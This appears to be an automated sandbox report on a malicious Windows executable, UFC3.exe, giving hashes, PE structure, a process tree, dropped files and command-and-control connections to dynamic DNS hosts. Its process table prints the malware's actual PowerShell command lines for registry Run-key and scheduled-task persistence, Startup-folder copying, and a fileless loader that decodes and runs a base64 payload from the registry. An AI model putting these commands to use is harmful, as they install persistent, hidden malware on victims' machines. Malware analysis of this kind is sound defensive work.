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| File name: | UFC3.exe |
| Full analysis: | https://app.any.run/tasks/7d401e44-9945-48a7-8ea9-7b001dd75ca0 |
| Verdict: | Malicious activity |
| Analysis date: | December 02, 2019, 20:12:13 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 56D60067A3954C0FBDF462A67B0F5CE7 |
| SHA1: | DACB937FDE645E423C626E49BA168A73BD4BCE7A |
| SHA256: | 6BEB90BD87DCD380BA95E9DD5F824CAAFB6F4AC4BEF717BE9C763C30B02FF6D4 |
| SSDEEP: | 6144:SZiBR64D1hReBRDXdjcUf5+KfmlqSHI8wFySjrh0Shi6t:7BVDrwBpXdwY8KkqSHXwFh1bHt |
MALICIOUS
Uses Task Scheduler to run other applications
- powershell.exe (PID: 788)
Changes the autorun value in the registry
- powershell.exe (PID: 2924)
Writes to a start menu file
- powershell.exe (PID: 3816)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 3272)
SUSPICIOUS
Executes scripts
- UFC3.exe (PID: 2468)
- powershell.exe (PID: 1328)
Executes PowerShell scripts
- WScript.exe (PID: 2156)
- wscript.exe (PID: 3804)
Creates files in the user directory
- powershell.exe (PID: 1328)
- powershell.exe (PID: 2924)
- powershell.exe (PID: 788)
- powershell.exe (PID: 3816)
- powershell.exe (PID: 2428)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable (generic) (52.9) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (23.5) |
| .exe | | | DOS Executable Generic (23.5) |
EXIF
EXE
| Subsystem: | Windows GUI |
|---|---|
| SubsystemVersion: | 5.1 |
| ImageVersion: | - |
| OSVersion: | 5.1 |
| EntryPoint: | 0x1e229 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 207360 |
| CodeSize: | 198144 |
| LinkerVersion: | 14 |
| PEType: | PE32 |
| TimeStamp: | 2019:09:22 16:25:58+02:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 22-Sep-2019 14:25:58 |
| Detected languages: |
|
| Debug artifacts: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000118 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 22-Sep-2019 14:25:58 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x000305E5 | 0x00030600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.70257 |
.rdata | 0x00032000 | 0x0000A392 | 0x0000A400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.23938 |
.data | 0x0003D000 | 0x000238B0 | 0x00001200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.82783 |
.gfids | 0x00061000 | 0x000000E8 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 2.0896 |
.rsrc | 0x00062000 | 0x000026F3 | 0x00002800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.04491 |
.reloc | 0x00065000 | 0x00002128 | 0x00002200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.60451 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.25329 | 1875 | UNKNOWN | English - United States | RT_MANIFEST |
7 | 3.1586 | 482 | UNKNOWN | English - United States | RT_STRING |
8 | 3.11685 | 460 | UNKNOWN | English - United States | RT_STRING |
9 | 3.11236 | 440 | UNKNOWN | English - United States | RT_STRING |
10 | 2.99727 | 326 | UNKNOWN | English - United States | RT_STRING |
11 | 3.2036 | 1094 | UNKNOWN | English - United States | RT_STRING |
12 | 3.12889 | 358 | UNKNOWN | English - United States | RT_STRING |
13 | 2.95673 | 288 | UNKNOWN | English - United States | RT_STRING |
14 | 2.94627 | 266 | UNKNOWN | English - United States | RT_STRING |
15 | 2.83619 | 188 | UNKNOWN | English - United States | RT_STRING |
Imports
KERNEL32.dll |
USER32.dll (delay-loaded) |
gdiplus.dll |
Total processes
47
Monitored processes
9
Malicious processes
4
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2468 | "C:\Users\admin\AppData\Local\Temp\UFC3.exe" | C:\Users\admin\AppData\Local\Temp\UFC3.exe | — | explorer.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2156 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\DirectX.js" | C:\Windows\System32\WScript.exe | — | UFC3.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
| 1328 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Public')+'\DirectX.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Local\Temp\DirectX.js'));wscript 'C:\Users\Public\DirectX.js'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WScript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3804 | "C:\Windows\system32\wscript.exe" C:\Users\Public\DirectX.js | C:\Windows\system32\wscript.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
| 2924 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'DirectX' -value 'C:\Users\Public\DirectX.js' -PropertyType String -Force;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 788 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "schtasks /create /sc minute /mo 45 /tn DirectX /tr 'C:\Users\Public\DirectX.js'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3816 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\DirectX.js',[System.IO.File]::ReadAllText('C:\Users\Public\DirectX.js'))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3272 | "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 45 /tn DirectX /tr C:\Users\Public\DirectX.js | C:\Windows\system32\schtasks.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2428 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'DirectX').DirectX;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 622
Read events
1 334
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
10
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1328 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\36XDK1EV7WEA2DE5HYOP.temp | — | |
MD5:— | SHA256:— | |||
| 788 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BOJ7HTEHHU9K4LFYT2SP.temp | — | |
MD5:— | SHA256:— | |||
| 3816 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SWEIP5WJX6KPIDYAGSN1.temp | — | |
MD5:— | SHA256:— | |||
| 2924 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZEHVZ1JH0W0JOO8NYOBS.temp | — | |
MD5:— | SHA256:— | |||
| 2428 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0NCKYPE8E9ECAYDOMT3S.temp | — | |
MD5:— | SHA256:— | |||
| 3816 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DirectX.js | text | |
MD5:A1754EED65EBAE8D4623CAD488AC440F | SHA256:46286E219BA9C94F5F222D33614722398A0C5E346FCA359834BB06D5B7C0052A | |||
| 3816 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b30e.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
| 1328 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
| 1328 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39ac38.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
| 2428 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
4
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 141.255.158.112:3333 | blackmirror.ddns.net | Lost Oasis SARL | NL | unknown |
2428 | powershell.exe | 141.255.145.32:3333 | blckmrr.duckdns.org | Lost Oasis SARL | NL | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
blckmrr.duckdns.org |
| unknown |
dns.msftncsi.com |
| shared |
blackmirror.ddns.net |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |
— | — | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.ddns .net |